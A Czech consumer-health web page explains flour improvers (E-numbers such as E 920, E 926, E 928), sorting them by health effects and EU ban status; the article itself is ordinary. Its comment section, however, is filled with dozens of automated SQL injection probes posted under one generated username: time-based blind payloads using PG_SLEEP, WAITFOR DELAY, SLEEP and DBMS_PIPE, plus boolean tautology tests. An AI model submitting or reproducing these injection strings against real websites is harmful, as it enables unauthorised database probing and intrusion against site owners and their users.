Nápověda


Nevíte si s něčím rady? Kontaktujte nás, rádi Vám pomůžeme.

 
 

Látky zlepšující mouku

Hlasovat Hlasovat Hlasovat Hlasovat Hlasovat
1 50

Látky zlepšující mouku vylepšují vlastnosti mouky pro zpracování do těsta a při pečení.

Látky zlepšující mouku umožňují lepší strojové zpracování těst. Pekařské výrobky mají větší objem a jsou vláčnější, kůrka je výrazněji zbarvená a střídka měkčí. Výrobky vydrží a také vypadají delší dobu tzv. „čerstvé“. Používají se při výrobě nejrůznějších pekařských produktů, velmi často jsou v polotovarech, které se dopékají.

Látky zlepšující mouku se vyskytují v několika různých skupinách přídatných látek. Dělí se na

  • přírodní a přírodně identické
  • polosyntetické a syntetické

Látky zlepšující mouku získané syntetickou cestou z látek přírodního živočišného původu, které mohou způsobovat alergie a hyperaktivitu

  • E 920 - L-cystein
  • E 1102 - Glukosaoxidasa

Látky zlepšující mouku získané syntetickou cestou, u kterých nejsou prokázané negativní účinky na zdraví

  • E 341 - Fosforečnany vápenaté
  • E 483 - Stearyltartarát
  • E 510 - Chlorid amonný
  • E 516 - Síran vápenatý
  • E 517 - Síran amonný
  • E 521 - Síran sodnohlinitý
  • E 529 - Oxid vápenatý

Na lidský organismus nevhodně působící látky zlepšující mouku, které mohou způsobovat i alergické reakce.

  • E927b - Močovina

Zakázané nebezpečné látky zlepšující mouku

  • E 342 - Fosforečnany amonné
  • E 921 - L-cystin
  • E 926 - Oxid chloričitý
  • E 927a - Azoformamid
  • E 928 - Benzoyl peroxid
  • E 929 - Peroxid acetonu
  • E 930 - Peroxid vápenatý

Látky zlepšující mouku, které jsou v ČR a EU zakázané mohou být obsaženy v potravinách, které byly vyrobeny mimo země Evropské unie a do ČR a EU dovezeny.

Přidávané množství látek zlepšujících mouku je určeno předpisy a nemělo by při běžné konzumaci nijak významně negativně ovlivnit zdraví. Vzhledem k možnému používání různých dalších přídatných látek u jednoho druhu potraviny je ale dobré si na obalu přečíst složení. U nebalených pekařských výrobků se ale použití přídatných látek dá zjistit poměrně těžko. V případě, že si použitím E-látky nejsme jisti nebo jsou na obalu uvedeny látky nevhodné, případně dokonce i škodlivé, pak je lepší takové potraviny raději nekonzumovat nebo jejich konzumaci maximálně omezit.  

 

 

Komentáře

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

l33GEABe')) OR 814=(SELECT 814 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

M5GPtoRY') OR 144=(SELECT 144 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

ODi5zGgO' OR 842=(SELECT 842 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1)) OR 538=(SELECT 538 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-5) OR 25=(SELECT 25 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-5 OR 836=(SELECT 836 FROM PG_SLEEP(15))--

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

2bK8hA7I'; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

1 waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1); waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1; waitfor delay '0:0:15' --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

if(now()=sysdate(),sleep(15),0)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 3*2>(0+5+435-435) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 3*2<(0+5+435-435) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 3+435-435-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1" OR 2+435-435-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2>(0+5+193-193) or 'xFNmZBDW'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2<(0+5+193-193) or 'xFNmZBDW'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3+193-193-1=0+0+0+1 or 'xFNmZBDW'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 2+193-193-1=0+0+0+1 or 'xFNmZBDW'='

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2>(0+5+598-598) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3*2<(0+5+598-598) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 3+598-598-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1' OR 2+598-598-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2>(0+5+231-231)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2<(0+5+231-231)

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3+231-231-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 2+231-231-1=0+0+0+1

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2>(0+5+234-234) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3*2<(0+5+234-234) --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 3+234-234-1=0+0+0+1 --

zjednoduseny-kd-61788a7d648131635289725
zjednoduseny-kd-61788a7d648131635289725 | před 2 lety

-1 OR 2+234-234-1=0+0+0+1 --

Zdravotní kalkulačka

:
: